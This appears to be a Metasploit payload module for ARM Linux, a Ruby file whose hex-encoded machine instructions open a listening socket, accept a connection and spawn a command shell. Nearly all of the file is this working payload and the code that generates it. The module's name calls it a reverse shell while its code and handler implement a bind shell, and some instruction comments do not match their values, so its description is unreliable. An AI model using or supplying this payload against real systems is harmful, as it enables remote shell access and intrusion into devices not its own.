Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 208
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Linux
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
18
      'Version'       => '',
19
      'Description'   => 'Connect to target and spawn a command shell',
20
      'Author'        => ['civ', 'hal'],
21
      'License'       => MSF_LICENSE,
22
      'Platform'      => 'linux',
23
      'Arch'          => ARCH_ARMLE,
24
      'Handler'       => Msf::Handler::BindTcp,
25
      'Session'       => Msf::Sessions::CommandShellUnix,
26
      'Payload'       =>
27
        {
28
          'Offsets' =>
29
            {
30
              'RHOST'    => [ 172, 'ADDR' ],
31
              'LPORT'    => [ 170, 'n' ],
32
            },
33
          'Payload' =>
34
            [
35
              # socket
36
              0xe3a00002, # mov     r0, #2
37
              0xe3a01001, # mov     r1, #1
38
              0xe3a02006, # mov     r2, #6
39
              0xe3a07001, # mov     r7, #1
40
              0xe1a07407, # lsl     r7, r7, #8
41
              0xe2877019, # add     r7, r7, #25
42
              0xef000000, # svc     0x00000000
43
              0xe1a06000, # mov     r6, r0
44

45
              # bind
46
              0xe28f1080, # 1dr     r1, pc, #128
47
              0xe3a02010, # mov     r2, #16
48
              0xe3a07001, # mov     r7, #1
49
              0xe1a07407, # lsl     r7, r7, #8
50
              0xe287701a, # add     r7, r7, #26
51
              0xef000000, # svc     0x00000000
52

53
              # listen
54
              0xe1a00006, # mov     r0, r6
55
              0xe3a07001, # mov     r7, #1
56
              0xe1a07407, # lsl     r7, r7, #8
57
              0xe287701c, # add     r7, r7, #28
58
              0xef000000, # svc     0x00000000
59

60
              # accept
61
              0xe1a00006, # mov     r0, r6
62
              0xe0411001, # sub     r1, r1, r1
63
              0xe0422002, # sub     r2, r2, r2
64
              0xe3a07001, # mov     r7, #1
65
              0xe1a07407, # lsl     r7, r7, #8
66
              0xe287701d, # add     r7, r7, #29
67
              0xef000000, # svc     0x00000000
68

69
              # dup
70
              0xe1a06000, # mov     r6, r0
71
              0xe3a01002, # mov     r1, #2
72
              0xe1a00006, # mov     r0, r6
73
              0xe3a0703f, # mov     r7, #63 ; 0x3f
74
              0xef000000, # svc     0x00000000
75
              0xe2511001, # subs    r1, r1, #1
76
              0x5afffffa, # bpl     8c <.text+0x8c>
77

78
              # execve("/system/bin/sh", args, env)
79
              0xe28f0024, # add     r0, pc, #36     ; 0x24
80
              0xe0244004, # eor     r4, r4, r4
81
              0xe92d0010, # push    {r4}
82
              0xe1a0200d, # mov     r2, sp
83
              0xe28f4024, # add     r4, pc, #36     ; 0x10
84
              0xe92d0010, # push    {r4}
85
              0xe1a0100d, # mov     r1, sp
86
              0xe3a0700b, # mov     r7, #11 ; 0xb
87
              0xef000000, # svc     0x00000000
88

89
              # <af>:
90
              0x04290002, # .word   0x5c110002 @ port: 4444 , sin_fam = 2
91
              0x0101a8c0, # .word   0x0101a8c0 @ ip: 192.168.1.1
92

93
              # <shell>:
94
              0x00000000, # .word   0x00000000 ; the shell goes here!
95
              0x00000000, # .word   0x00000000
96
              0x00000000, # .word   0x00000000
97
              0x00000000, # .word   0x00000000
98

99
              # <arg>:
100
              0x00000000, # .word   0x00000000 ; the args!
101
              0x00000000, # .word   0x00000000
102
              0x00000000, # .word   0x00000000
103
              0x00000000, # .word   0x00000000
104

105
            ].pack("V*")
106
        }
107
      ))
108

109
    # Register command execution options
110
    register_options(
111
      [
112
        OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
113
        OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox
114
      ])
115
  end
116

117
  def generate(_opts = {})
118
    p = super
119

120
    sh = datastore['SHELL']
121
    if sh.length >= 16
122
      raise ArgumentError, "The specified shell must be less than 16 bytes."
123
    end
124
    p[176, sh.length] = sh
125

126
    arg = datastore['ARGV0']
127
    if arg
128
      if arg.length >= 16
129
        raise ArgumentError, "The specified argv[0] must be less than 16 bytes."
130
      end
131
      p[192, arg.length] = arg
132
    end
133

134
    p
135
  end
136
end
137

138